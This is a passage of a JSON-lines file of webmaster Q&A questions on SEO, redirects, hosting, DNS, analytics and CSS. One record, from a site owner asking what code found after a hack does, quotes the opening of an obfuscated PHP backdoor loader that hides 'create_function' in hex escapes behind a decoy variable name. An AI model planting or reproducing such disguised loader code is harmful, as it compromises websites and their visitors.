already corresponds to a node, I create my child pages with the path entry: `services\/counselling', and voila!"}
{"id":"42216","title":"How can I set a 410 redirect in htaccess","text":"I recently upgraded a website from aspx to a drupal site. I never ~~310'd~~ 301'd the old pages which are gone. The old aspx pages are still showing up as 404 error in google webmaster. I have created a new site map for the drupal site when it was launched 2 months ago, and then again recently. Can I create a 410 redirect in the htaccess for all aspx pages like a wildcard? If so how can I do this? thanks in advance"}
{"id":"56825","title":"Do Google Apps Standard (free) accounts expire after a period of inactivity?","text":"I have a Google Apps Standard account for a seldom used domain. The domain is mine indefinitely (the Registrar offers this to locally registered charities - I just have to maintain a basic webpage), but the group it was intended for never actually formed. The group may still organise someday, and I would like to keep the account active. I'd like to know how often I need to sign in to the admin console to keep the free account active. I don't sign in very often, maybe once a year or so. Will this expire someday, and what are the minimum requirements to keep it active?"}
{"id":"6068","title":"Why does IE still save and update files in the temp folder when caching is off?","text":"In IE I changed the cache setting to \"Every time I visit the web page\" However, I noticed in the directory \\Local Settings\\Temporary Internet Files that the files are still being stored in here and updated each time the page is called. Is caching still on? Thank You."}
{"id":"6069","title":"With the following settings shown here, will there be any caching in Firefox?","text":"browser.cache.disk.enable = false browser.cache.memory.enable = false network.http.use-cache = true With the following settings above, will there be any caching in FF? Does the disk.enable and memory.enable set to false override the true setting of use-cache? http:\/\/kb.mozillazine.org\/Network.http.use-cache Thanks."}
{"id":"48478","title":"Clearing all FTP sessions","text":"I am receiving this error:  I've closed down all of my FTP Clients (I use Panic Transmit + Coda on my Macbook & Filezilla on my other laptop). And I've locked my FTP and unlocked it again from within the control panel. How do I end the session for all users currently connected via FTP to my server? (I'm thinking through Terminal?)"}
{"id":"20926","title":"Which online form builders offer conditional logic\/branching?","text":"I have a survey with the following form fields: 1. Country 2. Age 3. Male\/Female 4. Undergraduate\/Graduate 5. Question? * Yes * No 6. If No, what about this and that? * Yes * No Google Forms and SurveyMonkey don't seem to allow things like the above. For question one I could ask, \"What country are you from?\" with a textbox as an answer section and work around it. But how do I go about creating questions five and six? I am not able to figure out how to do it except for having one more question that says \"If your answer to the previous question was No, then blah blah (else skip this question)\". Any suggestions, apart from creating my own custom website with JavaScript and a backend database?"}
{"id":"48473","title":"Microsoft update site has no SSL","text":"We need to put a link to Microsoft update site. But we come from SSL and Microsoft has no SSL activated for their update site. Is there any common workaround?"}
{"id":"10785","title":"Adverts on a mercantile site: good or bad?","text":"Is it generally considered a good or bad idea to put GoogleAds or the like on a web site that is selling items online? In other words, should one run the risk of having the competition appear in these ads or not?"}
{"id":"10789","title":"Google analytics is counting way to much","text":"I have a website using Google analytics but it is counting way to much. To test this i was logging all entry's to my database with time and IP address. My result for one day was: Google analytics: Visits: 4078 Absolute Unique Visitors: 3758 My Database: Visits: 4182 Unique Visitors(Only by IP): 905 I use the tracking option \"One domain with multiple subdomains\" because the website is accessible both on www.example.com and example.com. I'm i missing something or what could be wrong?"}
{"id":"52768","title":"Are testing website URLs considered duplicate content and do they trigger penalties?","text":"I have a website with several thousand pages and I generate a small version of it (100 pages) which I upload to a temporary `testing.mywebsite.com` URL for testing purposes. Yet, it could be seen as duplicate content considering the live website on a different URL. Should I be worried about this? Can I get a penalty for this? I was considering setting canonical links to the main website or setting no index on the pages generated for testing. Is it necessary to do so? Would it help?"}
{"id":"21692","title":"Any sites where I can offer a budget and choose from many webdesigns offered by designers?","text":"Can anyone can provide me some links to a website where I can enter my requirements and the budget that I can offer to receive a lots of graphic designs. Then I can choose the one I want and pay for it? I have heard about them from many people but haven't found any yet."}
{"id":"7372","title":"Best free blogging site that allows AdSense and other advertising?","text":"I'm looking to start my own blog. Under the incredibly vain assumption that anyone cares what I think, I'd like to put up some ads to fund my, um, habits, yeah. I don't want to have to pay anything, nor do I want to host it myself (if possible). What blogging platform fits this bill?"}
{"id":"7375","title":"How to register a domain for a beginner?","text":"I've never registered a .com , .net like domain before, and I would like to do some research before doing so. 1. I currently have a ruby on rails app running Heroku. Is there anything special I have to do prior to registering domain on my ruby on rails app at all? Or is it as easy as just inserting my current Heroku address to mask it with another .com or .net name? 2. Is there some special features I should look for registering domain? Or is it typical for domain seller to just sell domain names only? 3. Any recommendations on sellers? Thank you."}
{"id":"21698","title":"mod_rewrite to change parts of a URL causes infinite loop error. ","text":"I moved my website to a new CMS and some of my URLs look different now, so I want to delete a part of incoming URLs so that links to my page still work properly. The old URL looks like: > www.my-site.de\/MY-FORUM\/my-forum\/category\/postingtitle I want to get rid of the MY-FORUM, so it looks like: > www.my-site.de\/my-forum\/category\/postingtitle After reading through different posts I tried the following: RewriteRule ^MY-FORUM\/(.*) \/$1 [R=301,L] Which gives me back an error message stating: Infinite loop detected in JError (I´m using joomla) What is causing this?"}
{"id":"11928","title":"Can I use translated versions of other sites' content?","text":"I would like to add a \"Comments\" module to my online store to display external comments for an item; the comments will come from other big players in this industry. The comments will be localized (translated to Russian or Ukrainian) to help customers choose the right item. I have some questions: 1. Is it legal to use translated comments from other sites? 2. Will using this content adversely affect my site's search engine rankings?"}
{"id":"11929","title":"Where to hire poeple for data submission?","text":"I have auto translated articles in portugues and I need to hire people to check the grammars etc. Considering I need portugues (that can speak english a little to make agreements) where should I look for? Thanks"}
{"id":"12327","title":"Graphic ideas: crumbled paper effect","text":"I'm thinking about ways to create the effect of crumbled paper for my website. The background color can vary, so the idea I came up with is to super impose the 'crumble' effect onto any colored background. Where can I find such a graphic? Any suggestions on how to make one if none are available? Thanks."}
{"id":"12324","title":"Does no follow prevent my pages from search engine penalisation?","text":"Can I link to websites that contain similar contents to my own and not be penalised by search engines if I use the `rel=nofollow` on the anchor tag?"}
{"id":"33411","title":"How to remove thousands of URLs from Google cache?","text":"Google has cached 1000s of PDFs from my website which shouldn't be public. I have updated my headers, but need to remove the existing Quick View cache. The Google webmaster tool allows me to remove them one by one - however, this clearly isn't practical given the quantity of files to be removed. Does anyone know how I can batch remove PDFs from Google cache? Ideally I'd like to a way to remove everything that matches \"site:mysite.com *.pdf\""}
{"id":"33413","title":"What tool to use to modify HTML file structure","text":"I have HTML files with all sharing the same structure. Something like this: Body Table tr1 ... (more nested tables) tr2 ... (more nested tables) tr3 td1 ... (more nested tables) td2 tr4 ... I need to remove td1 table data from all the files. What tool should I use?"}
{"id":"59169","title":"How to allocate cPanel resources to customers","text":"We are wanting to start offering hosting services to our customers with dedicated email and all those bells and whistles. We have the servers - both Windows and Linux. (Cloud Instances) The question: How can we give users access to a server with cPanel immediately after their account has been setup and payment has been processed? Hosts like goDaddy grant access almost immediately and the customers have access to a cPanel where they can start linking hosting their sites. The users don't have access to other websites hosted on that server (shared hosting situation.) What do we need to do to setup a structure like this?"}
{"id":"59162","title":"\"Read more\" link bad or good for SEO?","text":"I have seen that most bloggers are using \"read more\" as link text to posts on their home page that link to the full article or blog post. I understand that it's quite important for navigation of site. But when you see Google's official blog or other blogs of Google, they do not use the \"read more\" link on home page of blog. So is \"read more\" as a link good for SEO or bad because Google itself is not using these links. Can anyone throw lights on this?"}
{"id":"30492","title":"Can Google tell the difference between a link in a blog post and a link in a blog comment?","text":"When Google Blog Search crawls a page, can it tell whether a link is in the article or whether it's in a comment? If it can, does it grade the links, that is, a link from a blog comment is only going to be worth 50% of what an actual link inside the article would be?"}
{"id":"57984","title":"How should I properly redirect 1 million+ URLs?","text":"I have a server that allows file uploads. Foolishly I let everything get stored in one directory `\/uploads`. Now that I am approaching 1.5M files in this directory, I want to go back and correct my mistake. I am going to move all files into date based directories like so `\/uploads\/2\/14\/file.ext`. How can I do this without ruining all links that currently exist to the files? If someone tries to access `site.com\/uploads\/file.ext` it needs to show them the content from `site.com\/uploads\/2\/14\/file.ext`. How do sites like Imgur make it seem as if all their files are stored in one directory? Things I have thought of: * _.htaccess_ redirect (I think this would be way too many URLs to store in this type of file). * MySQL based redirect (I think this would cause way too much load on the DB as there are millions of files viewed each day."}
{"id":"30144","title":"wordpress robots.txt is this reasonable？","text":"this is my first time to write a `robots.txt`, I am not sure this is reasonable or not. sorry for open a question. I use wordpress cms. all the page urls like `http:\/\/mydomain.com\/it\/page1`, `http:\/\/mydomain.com\/en\/page1` (for \/it\/ and \/en\/ just edit in `\/wp- admin\/post.php?post=1&action=edit&message=1`, create a `Parent page` - it or en, then save page under theme) I stored photos in `\/thumb\/` and `\/image\/` folder. here is my full `robots.txt`. # Google Image User-agent: Googlebot-Image Disallow: Allow: \/thumb Allow: \/image # Google AdSense User-agent: Mediapartners-Google* Disallow: Sitemap: http:\/\/mydomain.com\/sitemap.xml User-agent: * Disallow: \/wp-login.php Disallow: \/wp-admin\/ Disallow: \/signup\/ Disallow: \/cgi-bin\/ Disallow: \/wp- Disallow: \/wp-admin\/ Disallow: \/signup\/ Disallow: \/cgi-bin\/ Allow: \/it\/ Allow: \/en\/ Allow: \/es\/ Allow: \/fr\/ Allow: \/de\/ BTW, if i submit my site to `https:\/\/www.google.com\/webmasters\/tools\/robots- analysis-ac` how many hours, google will crawl my `robots.txt` and `sitemap.xml`? and if I will apply for google adsense, must I first finish a seo? (google finish catch my `robots.txt` and `sitemap.xml`?) Many thanks."}
{"id":"54712","title":"Content light website and Google - Tell google it's a listings site (as opposed shop, reviews or restaurants)","text":"I have a listings style website. Due to the nature of this (listings) the site is content light. Each page is typically less that 50 words but there are many pages. The site in question has had a ton of media coverage and so has some great inbound links from places like Wired, Fast Company, Canada Broadcasting Corporation and many many other bloggers, media websites and recycle related niche authors (It's a recycling site). But Google really ignores it. Traffic from search is very very low - less than 5% of all traffic. I know that using markup you can tell Google whether your site is a restaurant, article, review, shop, local business and a few other categories (https:\/\/www.google.com\/webmasters\/markup-helper\/u\/0\/). Is there a way to tell Google that my site is a listings site? I suspect, but do not know for sure, that part of the problem is that Google simply does not know what my site is? It's a crowdmap where people post curbalerts. The information is useful to people but it is presented in a short, concise way - a pin on a map, a picture and a short description. Adding anything further is not necessary for the site's intended purpose. 1st question - how best to tell the search engines what y site is - listings and not some spammy website? Any recommendations in improving our site's Search presence? You can take a look here if interested: http:\/\/tinyurl.com\/lxg4hn7"}
{"id":"53448","title":"PHP Clean Directory","text":"Is there a way to clean a directory using PHP after a certain amount of days? I'd like to put the amount of days into a `$Cleanup` variable? I've tried and not been able to get it working."}
{"id":"9030","title":"The same user from different IP-addresses?","text":"Has anybody encountered the situation when the same user from the same session ID and the same browser requested 2 different scripts on the same webserver inside the duration of 30 sec from two different IP addresses thorugh HTTPS? Is it viable\/normal situation?"}
{"id":"37645","title":"Using a SMTP Service for email","text":"This may be a horribly obvious question, but I'm learning and just need someone to confirm it for me. I putting together a private social network that needs to email their members (through the social network software, Elgg) regularly. I'm hosting it on a shared HostGator plan (because they won't receive much traffic) and they'll email 10-1000 emails a few times a week. HostGator restricts you to 500 per hour. I'm also worried about deliverability. I've been searching up and down about how to throttle the emails so it will all send reliably... but then I came across the idea of an outside SMTP relay service. Would using an SMTP service resolve this issue?"}
{"id":"29099","title":"Why can I (and a lot of people) access my website normally but some users can't?","text":"I bought my domain name and registered it with ASmallOrange. Next, I bought a VPS server with SoftSysHosting. I went on the CPanel of ASmall orange and set the domains to point to my server's IP address:  After half a day or so, the DNS record propagated to my machine and I could access the website using the domain name. A so could everybody else. However today, someone told me they could not access my site, and checking it with http:\/\/www.downforeveryoneorjustme.com\/ told me the same results: > It's not just you! FOO.BAR looks down from here. Yet I can still access my site. Is it safe to assume that the DNS record hasn't reached certain areas yet? It's been almost three days now and I find that hard to believe. On my VPS, I only have IIS with SQL Server. **I did not install anything related to DNS.**"}
{"id":"9035","title":"Multiple domain links on Google from one WordPress site","text":"At present when I Google the domain name of the WordPress sites I have worked on, I receive at least three listings (often the top three). The first listing is the only one I am interested in seeing, others appear from individual pages from that WordPress site i.e.: 1st hit - www.domain.com 2nd hit - www.domain.com\/about 3rd hit - www.domain.com\/designers Does anybody know if its possible to remove all the links but the absolute www.domain.com?"}
{"id":"10253","title":"Can I buy a .CA if I have no affiliation with Canada?","text":"Well, the title says it all. It seems by CIRA (http:\/\/www.cira.ca\/home- en\/?lang=en) that I cannot, but the website doesn't make it explicitly clear how they check or anything like that... I have a domain name that I'd love to register for a business that will likely start in the US (where I'm based), but hopefully will grow globally (probably including Canada), but I want to build a brand around the domain name, and I do not want to get slammed by Canada yanking the domain name back if they discover I have no connection there. I only have experience with .com and .us domain names, so this is new territory for me. Any advice?"}
{"id":"9039","title":"How to create great interfaces in PhotoShop, etc","text":"Being a developer wanting to be a designer, I'm really interested in learning how to create top notch UI for websites, mobile apps, etc. However, I know nothing about PhotoShop or anything related to design except for HTML and CSS. Where should I start? How do I learn how to create beautiful designed websites and interfaceS? Is there a book, tutorial, etc that you recommend? Thanks!"}
{"id":"53445","title":"PHP not working : Ubuntu","text":"I have a problem my test server loads html files fine but when I try to open a file like index.php it says `The website encountered an error while retrieving http:\/\/localhost\/. It may be down for maintenance or configured incorrectly.` I have PHP5 installed but I don't see why this isn't working, is it an outdated PHP problem? [Wed Sep 25 16:53:10 2013] [error] [client 127.0.0.1] PHP Warning: require_once(\/home\/callum\/public_html\/Includes\/Connection.php): failed to open stream: Permission denied in \/home\/callum\/public_html\/index.php on line 8 [Wed Sep 25 16:53:10 2013] [error] [client 127.0.0.1] PHP Fatal error: require_once(): Failed opening required '\/home\/callum\/public_html\/Includes\/Connection.php' (include_path='.:\/usr\/share\/php:\/usr\/share\/pear') in \/home\/callum\/public_html\/index.php on line 8 [Wed Sep 25 16:54:51 2013] [error] [client 127.0.0.1] PHP Warning: require_once(\/home\/callum\/public_html\/Includes\/Connection.php): failed to open stream: Permission denied in \/home\/callum\/public_html\/index.php on line 8 [Wed Sep 25 16:54:51 2013] [error] [client 127.0.0.1] PHP Fatal error: require_once(): Failed opening required '\/home\/callum\/public_html\/Includes\/Connection.php' (include_path='.:\/usr\/share\/php:\/usr\/share\/pear') in \/home\/callum\/public_html\/index.php on line 8 site config <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot \/home\/callum\/public_html\/ <Directory \/> Options FollowSymLinks AllowOverride None <\/Directory> <Directory \/home\/callum\/public_html\/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all <\/Directory> ScriptAlias \/cgi-bin\/ \/usr\/lib\/cgi-bin\/ <Directory \"\/usr\/lib\/cgi-bin\"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all <\/Directory> <\/VirtualHost>"}
{"id":"53444","title":"Conservative caching refreshes my site weirdly","text":"I have site built in Joomla! 3.1. I spent last 2 hours trying to solve an issue: with `Conservative Caching` activated, my front-end auto-refresh in 8seconds. I set cache time to 25minutes, but for some reason this `Conservative Caching` has this issue. Anybody knows why?"}
{"id":"7011","title":"Which is best for PageRank? When multi-Aliases point to same server, with multi-language folders","text":"Imagine situation where multiple aliases point to the same server, where htacces divides them into their own language folders. Example: mywebsite.fr >> \/fr\/home mywebsite.de >> \/de\/home mywebsite.it >> \/it\/home about seven more domains... **Possible options to maintain in terms of SEO:** 1. Dont do anything, let the different versions of home sit on their own alias. 2. Set a canonical for each page 1 and the same master url no matter what alias you are at, the canonical reads: `website.com\/fr\/home` `website.com\/it\/home` or `website.com\/de\/home` etc 3. let all domains permanent redirect to master url (website.com together with their language folders set. so `website.fr >301> website.com\/fr\/home website.de >301> website.com\/de\/home etc.` 4. ([please suggest & I will update it here) **Questions that come to Mind:** Which one is best for PageRank? Which one will focus the PageRank into one domain? Which one will cause spread? Is Canonical used properly for 2.? Thanks! all comments are valued greatly."}
{"id":"18691","title":"Is it correct to have domains with more than 3 levels?","text":"I've been arguing for some time about this topic, now I'd like the opinion of professionals. My point is that a domain should be made of 2 or 3 levels at most, like: * `mysite.com` * `blog.mysite.com` And I sustain that the \"www\" third level is useless and should be \"optional\" meaning that if you type `www.mysite.com` it will silently redirect to `mysite.com`, but that's not the focus of this topic. What is really troubling me is the fact that sometimes I have to work with domains 5 levels long for testing purposes, like this: * `www.customersite.com.webagency-test.com` Instead of a more natural and meaningful * `test.customersite.com` Other than the ugliness, I have troubles making those kind of host names work. Sometimes in IIS7 they would simply not work, as if the host header wasn't even configured. I think that those kind of 5 level host headers are also violating some rule, or standard, or best practice, although I'd like more information about this. So, my dear experts, is this wrong as I think, or it's just \"horrible but not wrong per se\", or something else?"}
{"id":"49871","title":"Site hack... but what is this?","text":"My site have been hacked (i think) here is the code... the question, how to find what it does... <?php $zend_framework=\"\\x63\\162\\x65\\141\\x74\\145\\x5f\\146\\x75\\156\\x63\\164\\x69\\157\\x6e\"; @error_reporting(0); $zend_framework(\"\", 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{"id":"54797","title":"Can secret URLs be used to protect files?","text":"I would like to know if I can offer private downloads in my website (only available to certain users) by placing all the files in a `\/download` folder and make sure it doesn't show the index of all the files with the `.htaccess` option: `Options -Indexes`. That way, only users with the complete address of the file would be able to download a certain file. Is there any problem with this method?"}
{"id":"18698","title":"Is it possible to have a stop word list for distinct html pages?","text":"Let's say I have a simple html page with some text and the text foo is a single word whereas foo bar are two words somewhere in it. Is it possible to prevent search engines from finding the page when searching for `foo bar` (without double quotes surrounding it)? Searching for `foo` should find the page though. Is this possible somehow? Be it meta tag or something on the server side?"}
{"id":"49879","title":"Access denied 403 errors after migrating my site","text":"I've recently migrated my Joomla site from one shared hosting to another with Hostgator. GWT notified me about many 403 access denied pages. I've checked with Firebug too, and even though browser is displaying full page correctly but http return is 403. I've checked the home page but it's correctly returing 200 response. The same is shown by Fetch as Google in GWT(pasted this in the bottom). The site is 3 years old and I regularly do such migrations. I've copied the files and database \"AS IS\". I've even cleared all the caches but no luck. There is only one change: previously the site was primary domain but now it's add-on one. What could be the issue? This is how Googlebot fetched the page. **Fetch as Google** URL: http:\/\/MYSITE.COM\/-----------------REMOVED.html Date: Thursday, June 20, 2013 at 10:32:14 PM PDT Googlebot Type: Web Download Time (in milliseconds): 3899 HTTP\/1.1 403 Forbidden Date: Fri, 21 Jun 2013 05:32:15 GMT Server: Apache P3P: CP=\"NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM\" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 0e4f6b53991c80cf39d57a6db58bb58d=ee2d880e8db0f1fc03c5612ea5a77004; path=\/ Last-Modified: Fri, 21 Jun 2013 05:32:19 GMT Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text\/html; charset=utf-8 <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\"> <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\" xml:lang=\"en-gb\" lang=\"en-gb\" > <head> <base href=\"http:\/\/www.mysite.com\/-----------------rajiv-yuva-shakthi-programme-finance-planning.html\" \/> <meta http-equiv=\"content-type\" content=\"text\/html; charset=utf-8\" \/> <meta name=\"robots\" content=\"index, follow\" \/> <meta name=\"keywords\" content=\"\" \/> <<<<<<TRIMMED>>>>>>>>>>>>>>"}
{"id":"63356","title":"Panda 4: Reducing #indexed pages. How much is enough?","text":"I've been hit by panda 4 (40% decrease). I didn't see any change during panda 1-3. From what I've read it and when compared to my site, the change is probably due to the fact that I have over 30M pages indexed on Google, and they've starting seeing that as some sort of bad indication. Although I feel all of the pages have a unique value that Google should crawl, it seems I should make some tough calls and deduce the indexed pages according to some prioritization I will conduct. The question is what should be my target, or what factors should help me figure out a relevant target. How many pages should I try to reduce to? - 25M - 15M - 1M - 2000 Is it enough to add `noindex` to low priority pages or should I also remove all internal linking to them? UPDATE: just to clarify, all of my pages are such that I believe will provide value to my users. But as I understood, in times like these I should still consider de-indexing some of them, because just because a user might get value, doesn't mean Google will see this as a quality page, which is a very subjective definition actually."}
{"id":"68376","title":"SEO words: Information Technology vs IT","text":"IT is in common usage as an abbreviation for \"Information Technology\" and people may search on it as that, such as \"IT Support\". However, it is also a \"stop word\". Any suggestions for optimal SEO usage? **Edit** : In line with the answers, on reviewing the search engine results, it seems that they are mostly interpreting \"IT\" correctly. The overall context I'm sure helps, so thus far, I'm going to stay with \"IT\"."}
{"id":"68465","title":"Can shortened URLs on my pages hurt my SEO?","text":"There is a certain part of my blog (part of my homepage) that contains shortened urls to external pages. If I don't add the `rel=\"nofollow\"` property to those links, can they hurt the SEO of my page? I read a few articles here, but as I understood, all of them were focused on the impact of the incoming shortened urls to a website. I'm interested to know if short urls to other websites can hurt the ranking of my homepage?"}
{"id":"68464","title":"Should I nofollow a link to a noindex page?","text":"If I have a page on my blog that is marked noindex or blocked by robots.txt should I mark all links within my blog that point to that page as `rel=\"nofollow\"` or not? _Example:_ I publish a post on my blog and mark it as noindex. That post will show up on my blog's front page and all links on the front page are do follow. So when a bot comes on the main page it crawls all the links but when the bot gets to the link to a noindex post does it take note that the link and crawl that page?"}
{"id":"65450","title":"Is it SEO-acceptable to do an automatic redirect based on accpept-language header value","text":"We are launching a big international web site, that has local web sites on other domains. We are planning to configure the web site to behave in the following manner: Of a user with German (de) accept-language header visits \"mysite.com\", he is automatically redirected to \"mysite.de\". If on \"mysite.de\" he selects to go to \"mysite.com\", the specific \"no redirect in future\" cookie is added. Now, when he visits mysite.com, he is no longer redirected. Will this \"initial redirect\" behavior have any negative implication of website's reputation in search engines?"}
{"id":"62910","title":"When to use page level versus session level custom variables","text":"We run a radio station site with 5 markets. The value of the market is saved as a cookie and last week I started tracking the value of that cookie in a page-level custom variable. The problem is that when reporting on the page views of this custom variable, GA alerts that only 80% of the data is being reported on. So, I'm wondering whether I can increase that figure if I swap to session- level custom variable so there is less data accrued to report on? Thanks for any advice."}
{"id":"753","title":"How can I make my flash website more search engine friendly?","text":"I've got a website where just about all the content is in a flash movie. Is there anything I can do to improve my search engine ranking or make my content more indexable?"}
{"id":"64846","title":"Similar domains using my business' content, and stealing SEO results","text":"I've been hired to create a website for a restaurant in my city, let's call it \"Flying Dragon\" Chinese restaurant. The restaurant has never had a website, though the business itself is about ten years old. However, if you Google the restaurant's name, the first site that comes up seems to be affiliated with the restaurant itself, even though it is not. This site - let's say, flyingdragonchinese.com - is also the one that Google has apparently selected, in its results, to be the official website of the restaurant - in essence, the first Google result is flyingdragonchinese.com, and directly beneath it, within the same entry, are the Google reviews and contact information. Upon visiting flyingdragonchinese.com (again, not the actual name), I see that the website has taken the menu content from the restaurant, in the same manner that Yelp does, but it also seems (to the untrained eye) to be the restaurant's official site. Basically, someone has created a fake website for the business (I am not sure why) using its actual menu and contact information, and is hogging the search results. The concept is similar to a \"scraping site\" except that the information seems to have been stolen manually. The main problem is that visitors to this site will have an inaccurate impression of the restaurant. I feel like the obvious solution is to register a new domain for _my_ site, and simply beat out this competitor (or whatever it is) with smarter SEO and business verification with Google. However, the Conan-the-Barbarian-web- designer part of me wants to somehow bash this other site (deservedly?) into oblivion. But I don't know what I can really do, besides maybe issuing a cease-and-desist letter, or trying to contact the web host for the site, although there is no contact information available on this \"fake\" site for the site owner. Has anyone ever experienced something like this? Is there any solution?"}
{"id":"67634","title":"How to change hosting?","text":"I have a website, here both domain and hosting are presently on crazydomains.com.au Now I want to change hosting to Godadday but domain control should remain unchanged. I already purchased hosting from Godadday. I want know how to configure the domain?"}
{"id":"24346","title":"Any way to compare multiple Google analytic Accounts","text":"I have a Google analytic's account on my website that makes use of 10 properties. Each property has its own tracking code. In few words, my website displays 10 different Google analytic tag scripts. Each tag has its own purpose. I'm searching for the best way to see a report that could compare all of the channels. Is there any way to do this?"}
{"id":"24341","title":"Video monetising and simple shop, platform?","text":"I have this client that wants a single-product website. The product is a training-video that they want to deliver virtually and optionally physically. I usually do all the front-end design and back-end development but the budget is close to $0 to start with. So I'm looking for a platform like shopify or something where a shop\/cart can be set up quickly and simply with minimal up-front cost - but which can accomodate some kind of paywall (DRM too?) for the online video with an option to purchase for an aditional cost the physical DVD. Am I approaching the wrong way all together? Or do you know of any platform that will accomodate the specs?"}
{"id":"47871","title":"Does Google bot always treat dot as word separator?","text":"One of our products is a grid control called iGrid, and we have two versions for two different platforms. One is iGrid ActiveX, the other is iGrid for .NET Framework WinForms called \"iGrid.NET\". At some point we noticed that in the snippets on Google's SERP the \".NET\" suffix is treated as a standalone word. For example, we can see highlighted text in bold (what Google highlights looking at the search query) like this: ... iGrid. **NET** is an advanced **DataGridView alternative**. Is that right? How to check whether Google treats \"iGrid.NET\" as two separate words? And if so, tell him not to do that?"}
{"id":"68209","title":"Waiting for googleads.g.doubleclick.net","text":"When I load my pages, I see the ads are not showing up and there is this message at the bottom of Chrome saying that the browser is waiting for `googleads.g.doubleclick.net`. How can I speed this up so the ads display quicker? Is something wrong with my domain?"}
{"id":"67650","title":"What can I do to take control of a domain from a client's previous developer?","text":"A client of mine has a website that is incomplete. The last developers quit from this work, and they need get this work done. The problem is that I can't get cPannel access, and the first developer doesn't answer my e-mails. I've also checked the WHOIS records, that tell me that my client is not the owner of this domain\/hosting service. The first company didn't register the service with the client's name. I've already contacted the host company to ask for a password reset, and they tell me that for security purposes they only can do that for the domain\/host owner. Is there any way to solve this mess?"}
{"id":"4361","title":"posts appearing in wordpress media library","text":"when searching from the media library I am seeing posts and when clicking on them to edit the edit post window opens and not the media edit window. could anyone shed some light on this?"}
{"id":"39617","title":"What russian search engine or social network service is this?","text":" The above logo of a search engine is supposedly the top in russia. I would like to know more about the company so I can do SEO for it. When I google for \"Russia top search engine\" I only get Yandex. Does anyone know what search engine is it? PS: I am chinese."}
{"id":"4369","title":"google analytics - how to see the name of the pages which has been viewed by certain countries","text":"I want a list of my site pages which has been viewed in any country. I could not find such option in analytics. How to do that. So that i can know the people who view certain pages. so that i can display content according to that."}
{"id":"67835","title":"Indexing internationalized pages","text":"I've noticed that many websites use different URLs for different languages, e.g. de.wikipedia.org. I thought that was the entire purpose of existance for the `Accept-Language` HTTP header. It would be easiest for me to just use that header, but I was wondering how that would be indexed. For different URLs, there is hreflang. But could I point out, \"Hey request this page with a different `Accept-Language` header and get translated content\"?"}
{"id":"67834","title":"Domain purchased long time ago by me is not mine?","text":"4 years ago, I bought a domain `www.example.fr` on the French website `1and1.fr`. It was some sort of parked domain to be used in future. I payed for 2 years at the beginning. Now, after 4 years, I see that domain name bought before by me, no longer belongs to me, but to some company `www.company.com`. Isn't this against law, to buy something you owned before without even getting you know about this manipulation?"}
{"id":"37962","title":"Weird CSS-behaviour","text":"<!DOCTYPE html> <html> <head> <title>PakHet<\/title> <link rel=\"stylesheet\" type=\"text\/css\" href=\"css\/basis.css\" \/> <\/head> <body> <div class=\"wrapper\"> <div id='cssmenu'> <ul> <li class=\"active\"><a href='index.html'><span>Start<\/span><\/a><\/li> <li><a href='pakhet.html'><span>Over PakHet<\/span><\/a><\/li> <li><a href='overons.html'><span>Over Ons<\/span><\/a><\/li> <li class='has-sub '><a href='#'><span>Uw pakket<\/span><\/a> <ul> <li><a href='aanmelden.php'><span>Aanmelden<\/span><\/a><\/li> <li><a href='traceren.php'><span>Traceren<\/span><\/a><\/li> <\/ul> <\/li> <\/ul> <\/div> <div class=\"header\"> <h1>Hier komt de titel van de website<\/h1> <\/div> <div class=\"content\"> <p>Dit is de tekst van de content. Dit is de indexpagina.<\/p> <\/div> <\/div> <\/body> <\/html> And this is the CSS: \/* CSS RESET *\/ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video, *{ margin: 0; padding: 0; border: 0; vertical-align: baseline; } table { border-collapse: collapse; border-spacing: 0; } \/* Einde CSS RESET, nu echte code *\/ html, body{ background:url(..\/images\/bg_picture.jpg) fixed no-repeat; } .wrapper{ margin:0 auto; } .header{ margin:0 auto; background-color:rgba(0, 0, 0, 0.4); } .content{ background-color:rgba(0, 0, 0, 0.4); width:600px; margin:0 auto; margin-top:50px; } .content p{ color:white; text-shadow:1px 1px 0 rgba(0,0,0, 0.5); font-family:\"Lucida Grande\", sans-serif; } #cssmenu{ height:37px; display:block; padding:0; margin: 0; border:1px solid; } #cssmenu > ul {list-style:inside none; padding:0; margin:0;} #cssmenu > ul > li {list-style:inside none; padding:0; margin:0; float:left; display:block; position:relative;} #cssmenu > ul > li > a{ outline:none; display:block; position:relative; padding:12px 20px; font:bold 13px\/100% \"Lucida Grande\", Helvetica, sans-serif; text-align:center; text-decoration:none; text-shadow:1px 1px 0 rgba(0,0,0, 0.4); } #cssmenu > ul > li:first-child > a{border-radius:5px 0 0 5px;} #cssmenu > ul > li > a:after{ content:''; position:absolute; border-right:1px solid; top:-1px; bottom:-1px; right:-2px; z-index:99; } #cssmenu ul li.has-sub:hover > a:after{top:0; bottom:0;} #cssmenu > ul > li.has-sub > a:before{ content:''; position:absolute; top:18px; right:6px; border:5px solid transparent; border-top:5px solid #fff; } #cssmenu > ul > li.has-sub:hover > a:before{top:19px;} #cssmenu ul li.has-sub:hover > a{ background:#3f3f3f; border-color:#3f3f3f; padding-bottom:13px; padding-top:13px; top:-1px; z-index:999; } #cssmenu ul li.has-sub:hover > ul, #cssmenu ul li.has-sub:hover > div{display:block;} #cssmenu ul li.has-sub > a:hover{background:#3f3f3f; border-color:#3f3f3f;} #cssmenu ul li > ul, #cssmenu ul li > div{ display:none; width:auto; position:absolute; top:38px; padding:10px 0; background:#3f3f3f; border-radius:0 0 5px 5px; z-index:999; } #cssmenu ul li > ul{width:200px;} 